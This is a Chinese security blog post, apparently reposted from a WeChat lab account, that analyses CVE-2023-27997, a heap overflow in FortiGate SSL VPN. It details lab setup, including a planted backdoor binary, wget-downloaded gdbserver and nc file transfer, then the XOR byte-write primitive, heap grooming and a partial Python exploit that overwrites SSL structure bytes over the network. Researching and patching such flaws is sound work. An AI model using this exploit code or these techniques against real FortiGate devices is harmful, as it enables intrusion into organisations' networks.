运行环境
环境搭建参考:
https://forum.butian.net/share/2166
https://wzt.ac.cn/2023/03/02/fortios_padding/
https://www.pirates.re/fortigate-vm-for-vulnerability-discovery
https://wzt.ac.cn/2022/12/15/CVE-2022-42475/
https://wzt.ac.cn/2023/05/29/CVE-2023-25610/
我用的是虚拟机的固件,在VMware里导入后,admin+空密码登录,设置一下密码,然后配置IP
config system interface
edit port1
set ip 192.168.60.198 255.255.255.0
set allowaccess http https ssh telnet ping
end
这次的漏洞是在ssl vpn里,所以需要配置一下ssl vpn。
调试环境
fortigate的固件里的shell是一个只有很少命令的shell:
为了进行调试,我们需要传一个gdb进去,这里我选择直接传busybox来获取一个shell进行后续操作,同时把调试脚本一起传上去。
获取shell的过程有些曲折,这里我使用7.2.4的fortigate固件,按照文章中提到的patch掉了call reboot()
以及call do_halt()
,确实可以成功启动进入到cli并且没有任何报错,但是web服务一直无法访问,受到swing大哥文章启发,最后选择不patch二进制,而是在gdb里打断点并修改函数返回值来跳过检查失败的重启调用。
接下来思路差不多,就是往bin文件夹塞了一个busybox和gdbserver重新打包,然后删掉链接到init的sh,改为链接到busybox,再把smartctl替换为自己编译的后门。
7.24里把fgtsum改到/sbin/init里了,check失败会直接调用reboot函数重启,所以在调用之前直接跳过去。
利用VMware的调试功能:
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.hideBreakpoints = "TRUE"
monitor.debugOnStartGuest64 = "TRUE"
gdb脚本:
target remote 192.168.50.220:12345
b *0xFFFFFFFF807B209C
b *0x000000000040191F
b *0x000000000282744D
c
set $rax=0
c
jump *0x00000000004017CB
set $rax=1
c
保存上面的脚本之后,gdb启动:
gdb flatkc.elf -x fortios_gdbscript
这里flatkc.elf
是vmlinux-to-elf flatkc flatkc.elf
虽然启动之后提示检查文件系统,但是不影响使用,而且web服务也起来了:
然后利用busybox往里面下载一个gdbserver进行调试,因为自带的防火墙,没法开一些其他端口出来,用下面命令可以kill掉sshd然后用gdbserver占用22端口进行远程调试:
# admin admin登录后
diagnose hardware smartctl
# shell
busybox wget http://192.168.60.129:8000/gdbserver && busybox chmod +x gdbserver
kill -9 $(busybox pidof sshd) && ./gdbserver 0.0.0.0:22 --attach $(busybox pidof sslvpnd)
这样就可以用gdb远程调试了
漏洞
通过GET或者POST向/remote/hostcheck_validate
发送一个enc
参数,参数包括seed|size|ciphertext
:
通过向/remote/info
发送get请求,可以获得一个salt
,进行如下计算流程:
S0 = md5(salt | seed | "GCC is the GNU Compiler Collection.")
S1 = MD5(S0)
S2 = MD5(S1)
...
S(n+1) = MD5(Sn)
S = S1 | S2 | s3 | ... | Sn
得到的S用来和enc
的size
以及密文进行异或来解密。
用原作者的图来表示:
然后是关键代码的流程如下:
- • 用salt、输入的前8字节(seed)以及一个硬编码的字符串计算key的第一个状态
compute_key_zero(salt, in, 8, md5); // [1] Computes key from salt, seed
- • 分配一段长度为
in_len / 2 + 1
的内存,把输入的hex字符串解码放进去
out = alloc_block(*pool, (in_len >> 1) + 1); // [2] Allocate a buffer
unhex(out, in); // [2] Hexa-decode in to out
- • 通过
size ^ S0
得到一个size
xored_given_len = *((_WORD *)out + 2); // 注意这里是WORD,实际上就是取的前文里的Size字段
given_len = (unsigned __int8)(xored_given_len ^ md5[0]);
BYTE1(given_len) = md5[1] ^ HIBYTE(xored_given_len);
- • 边界检查
if ( inlen - 5 <= given_len)
- • 解密其余字符串,用前面算出来的md5的剩下14字节异或数据,然后算新的md5,再异或后面的16字节,
while ( 1 )
{
p[i] ^= md5[v15];
if ( v13 == i )
break;
v15 = ((_BYTE)i + 3) & 0xF;
if ( (((_BYTE)i + 3) & 0xF) == 0 )
{
v20 = given_len;
MD5_Init(md5_ctx);
MD5_Update(md5_ctx, md5, 16LL);
MD5_Final(md5, md5_ctx);
given_len = v20;
}
p = out;
++i;
}
p = &out[(unsigned __int16)given_len];
}
*p = 0;
漏洞点在于,分配的内存大小为输入的hex串的长度的一半+1,本来是打算把hex编码的字符串转换为原始字节流,但是后面进行异或解密的时候,使用的是前面异或解密出来的size字段,虽然有一个长度检查,但是检查的是输入长度-5
是否小于异或解密出来的size,这样一来,异或解密后的字符串的长度会是分配的内存长度的两倍,造成了一个奇怪的堆溢出:不同于传统堆溢出直接覆盖溢出后的数据,这个漏洞是对溢出后的数据进行异或运算。
利用
目前salt是已知的,seed是可控的,这样一来我们可以通过枚举seed来控制第一个md5值,由于md5值已知,size也是可控的,让size小于字符串总长度-5但是大于总长度的一半,即可触发漏洞。但是后面的数据会使用多组md5值进行异或解密,如何才能准确控制写入的字节呢?
fortigate使用的是jemalloc进行内存分配,对于堆内存使用的是类似于后进先出(LIFO)的方式,也就是说我们先释放一块内存,然后马上申请回来,申请回来的内存和之前释放的内存是同一个地址。众所周知,异或运算是可逆的,即A xor B xor A = B,那么我们可以先触发一次漏洞,前面的数据正常解密,之后的数据和md5进行异或解密,此时分配的内存的后面的数据被解密成乱码,接着我们再次触发漏洞,此时前面的数据仍然是之前的地址,触发漏洞的部分则会和相同的md5进行异或,还原出了之前被异或成乱码的数据,但是会在末尾补一个0。
也就是说,我们可以通过两次请求,往分配的地址的后面任意一个地址写x00
。
这显然不够,作者在原文中提出的方法是,在第一次请求中设置size为L,在解密完成后,会给下标为L的位置写x00
,第二次请求中设置为L+1,在下标解密到L的时候,是0x00 xor 0xaa
,实现写一个任意字节,这个字节则可以通过前面计算md5序列的方式,即通过控制seed来控制md5结果,进而控制写入的字节。原文中的例子就是,当seed=00690000
时,第250个md5是917be51232917698[50]41ff4c5d50126e
,首先控制size=4999
:
会在溢出的内存的第一个位置写一个x00
,接着控制size=5000
:
会在溢出内存的第一个位置写x00 xor x50
,在第二个位置写x00
此时我们通过两次请求向溢出的内存写了一个字节,转换成了传统的堆溢出。
另外作者提到了一种可以连续写入字节的方法,假设我们需要写入ABC�
,首先计算出一个种子s0,使他计算出的k0在L+2的位置异或结果为字符C,然后计算种子s1,使其计算出的k1在L+1的位置为k0异或字符B,接着计算种子s2,使其计算出的k2在L的位置为k1异或k2异或字符A。
首先,控制溢出的第一个字符为0,接着使用s2作为种子,长度为L+1,然后用s1做种子,长度为L+2,再用s0做种子,长度为L+3,这样就通过四个请求写入了四个字节ABC�
这个方法缺点是会把我们控制内容之前的数据全部异或为乱码,并且无法恢复,所以只能按顺序从溢出的第一个字节开始构造,最多只能控制完当前md5序列,在控制下一个md5序列的时候,当前md5序列会发生变化,导致前面的数据乱码,所以作者最终还是选择了使用前面的两个请求写一个字节的方法进行覆盖。
具体利用还是参考2019年orange发的一篇fortigate堆溢出利用的文章,通过覆盖SSL结构体中的函数指针来劫持控制流:
int SSL_do_handshake(SSL *s)
{
// ...
s->method->ssl_renegotiate_check(s, 0);
if (SSL_in_init(s) || SSL_in_before(s)) {
if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
struct ssl_async_args args;
args.s = s;
ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
} else {
ret = s->handshake_func(s);
}
}
return ret;
}
64位环境下的利用
我的环境跟作者一样是64位VM的镜像,版本是7.2.4,所以SSL结构体的大小是0x1db8,会分配一个0x2000的堆块给它用。
在一次请求中,首先会分配一个0x2000的堆块存放HTTP请求的数据,接着是SSL结构体,此时如果我们发送一个超过0x2000大小的请求,程序会把前面申请的0x2000的堆块释放掉,重新分配一个大堆块来存放,接着我们就可以把这个0x2000的堆块申请回来,溢出到后面SSL结构体。
具体流程还是用作者的图,首先发送一些https请求堆喷布置环境,这些请求应该是相互独立的sockets,会大概率在内存里分配一些相邻的0x2000的堆块:
然后发送一个大堆块(超过0x2000),此时会释放掉SSL结构体前面的0x2000的堆块:
最后发送触发漏洞的请求,通过设置size控制堆块大小为0x2000,分配回前面释放的堆块,溢出修改它后面的SSL结构体:
jemalloc使用了je_malloc
来创建堆块,使用je_malloc_stat_print
函数查看堆块分配情况,可以用条件断点b je_malloc if $rdi>0x1c00 && $rdi < 0x2000
来进行堆块分配的检测,首先查看进程sslvpnd,然后看到标准输入输出和错误输出被重定向到null了:
je_malloc_stat_print
函数的输出是输出到stderr的,所以我们需要把stderr关掉:然后随便打开一个文件,此时这个文件会占用stderr:
当然也可以直接打开/dev/pts/1
来输出到屏幕:
只不过输出相当多,不如输出到文件然后用cat debug_output | nc 192.168.60.129:12345
来把文件保存到我们本地机器上查看更方便一点。
然后在gdb调用打印堆块信息的函数call (int)je_malloc_stats_print(0,0,0)
,查看文件:
然后我们可以问问gpt各个字段的含义,可知curregs表示当前注册的内存块数量,我们分配的目标是0x2000也就是8192的bin:
然后可以用这个命令查看8192 bin的数量:
/tmp # busybox cat debug_output | grep "8192 32" | busybox awk '{print $1, $11}'
程序刚跑起来的时候,8192的堆块基本上很少用到,所以通过简单的堆风水控制溢出到SSL结构体的成功率还是很高的:
然后就是按照Orange的文章做ROP了。
这里先发个没写完的demo:
import threading
import pwn
import requests
import re
import hashlib
import struct
import socket
import ssl
import tqdm
HOST = "192.168.60.233"
PORT = 4443
def get_salt():
global HOST, PORT
url = f"https://{HOST}:{PORT}/remote/info"
r = requests.get(
url,
headers={"content-type": "application/x-www-form-urlencoded"},
verify=False
)
reg = re.compile("salt='([0-9a-f]{8})'")
matches = reg.findall(r.text)
if len(matches) != 1:
return "ERROR: not FortiGate ssl vpn?"
salt = matches[0].encode()
return salt
def gen_enc_hdr(salt, len, offset, byte):
magic = b"GCC is the GNU Compiler Collection."
seed = 0x00bfbfbf
for i in range(0xffffffff + 1):
seed = i
ks = hashlib.md5(salt + hex(seed).replace("0x", "").rjust(8, '0').encode('utf-8') + magic).digest() # first md5
final_md5 = ks
for j in range(((offset - 14) // 16) + 1):
final_md5 = hashlib.md5(final_md5).digest()
if final_md5[(offset - 14) % 16] == byte:
break
ks = hashlib.md5(salt + hex(seed).replace("0x", "").rjust(8, '0').encode('utf-8') + magic).digest()
length = pwn.p16(len)
return "{:08x}{:02x}{:02x}".format(seed, length[0] ^ ks[0], length[1] ^ ks[1])
def xoroverflow(sock, offset, salt, byte):
alloc_size = 0x1f00
xored_size = offset
payloadA = gen_enc_hdr(salt, xored_size, offset, byte) + "41" * alloc_size
payloadA = "ajax=1&username=test&realm=&enc=" + payloadA
payloadA = f'''POST /remote/hostcheck_validate HTTP/1.1rnHost: 192.168.60.233:4443rnContent-Length: {len(payloadA)}rnUser-Agent: Mozilla/5.0rnContent-Type: text/plain;charset=UTF-8rnConnection:Keep-AlivernAccept: */rnrn{payloadA}'''
payloadB = gen_enc_hdr(salt, xored_size + 1, offset, byte) + "41" * alloc_size
payloadB = "ajax=1&username=test&realm=&enc=" + payloadB
payloadB = f'''POST /remote/hostcheck_validate HTTP/1.1rnHost: 192.168.60.233:4443rnContent-Length: {len(payloadB)}rnUser-Agent: Mozilla/5.0rnContent-Type: text/plain;charset=UTF-8rnConnection:Keep-AlivernAccept: */rnrn{payloadB}'''
sock.sendall(payloadA.encode('utf-8') + payloadB.encode('utf-8'))
def write_bytes(sock, offset, salt, bytes: bytes):
for i in tqdm.tqdm(range(len(bytes))):
xoroverflow(sock, offset + i, salt, bytes[i])
def create_ssl_socket():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
context = ssl._create_unverified_context()
ssl_sock = context.wrap_socket(sock)
return ssl_sock
# get salt
salt = get_salt()
# heap spray
# ....deleted....
# pwn.pause()
vuln_ssl_sock = create_ssl_socket()
victims = []
for i in range(2):
victim_ssl_sock = create_ssl_socket()
content = 'username=1'
payload = f'''POST /remote/login HTTP/1.1rnHost: 192.168.60.233:4443rnContent-Length: {len(content)}rnUser-Agent: Mozilla/5.0rnContent-Type: text/plain;charset=UTF-8rnConnection:Keep-AlivernAccept: */rnrn{content}'''
victim_ssl_sock.sendall(payload.encode("utf-8"))
victims.append(victim_ssl_sock)
for i in victims:
content = 'username=' + '1' * 0x3000
payload = f'''POST /remote/login HTTP/1.1rnHost: 192.168.60.233:4443rnContent-Length: {len(content)}rnUser-Agent: Mozilla/5.0rnContent-Type: text/plain;charset=UTF-8rnConnection:Keep-AlivernAccept: */rnrn{content}'''
i.sendall(payload.encode("utf-8"))
write_bytes(vuln_ssl_sock, 0x2012, salt, pwn.p64(0xdeadbeef))
pwn.pause()
32位环境下的利用
在32位环境下,SSL结构体大小是0x1000,作者发现程序会分配一个0x1000的堆块来存放http响应,所以只需要找到一个可以控制响应包大小的路径就可以触发0x1000堆块的重新分配进而触发漏洞。
写在最后
作为一名赛棍,这个漏洞不管是成因还是利用都很ctf,原作者文章写的非常好,我只是在环境搭建上踩了一些坑,感谢前辈们的文章,学到很多。
参考文章
https://blog.lexfo.fr/xortigate-cve-2023-27997.html
https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html
https://github.com/BishopFox/CVE-2023-27997-check
https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn
https://www.cnblogs.com/hac425/p/15371359.html
https://nuoye-blog.github.io/2020/05/09/77b152fd/
https://blog.csdn.net/hl09083253cy/article/details/79147625
原文始发于微信公众号(BeFun安全实验室):CVE-2023-27997 fortinet 堆溢出漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论